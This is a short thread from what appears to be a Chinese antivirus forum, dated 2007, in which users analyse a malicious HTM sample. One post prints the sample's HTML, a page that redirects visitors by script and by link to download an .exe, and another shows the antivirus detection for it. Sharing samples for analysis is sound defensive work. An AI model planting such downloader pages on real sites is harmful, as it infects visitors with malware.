[306257 6164aa]htm，多引擎上少数报，给大家分析

显示全部楼层 · 发表于 2007-6-15 11:02:41

昨天才换小A，今天就查出了，还好有拦截器提示[:26:]

[ 本帖最后由 jlennon 于 2007-6-15 11:04 编辑 ]

显示全部楼层 · 发表于 2007-6-15 11:07:45

EXE呢

显示全部楼层 · 发表于 2007-6-15 11:11:48

MD5 是D4D8DD ，居然有人发重复贴么人管

[ 本帖最后由 allenhippo 于 2007-6-15 11:12 编辑 ]

显示全部楼层 · 发表于 2007-6-15 11:15:56

举报就是了，记得那人貌似也喜欢发重复的

显示全部楼层 · 发表于 2007-6-15 11:31:37

第一个htm写的有问题的，可能下载地址写错了

<html><body><br><br>
<script>window.location="/001/002/003/004/005/111.exe?c7iCV=foB1Y16d6y";</script>
<center><h3>如果您的页面没有自动跳转，请<a href="/001/002/003/004/005/111.exe?c7iCV=foB1Y16d6y">点击这里</a><h3></center>
</body></html>

复制代码

显示全部楼层 · 发表于 2007-6-15 19:22:38

Virus: Trojan-Downloader.JS.Psyme.gh

Virus found while downloading Web content.

Address: bbs.kafan.cn

显示全部楼层 · 发表于 2007-6-15 19:25:24

没写错
只是前面的网址漏掉了，如果是网上htm而不是捉下来的样本的话，浏览器会根据原来网址下载.exe的

[病毒样本] [306257 6164aa]htm，多引擎上少数报，给大家分析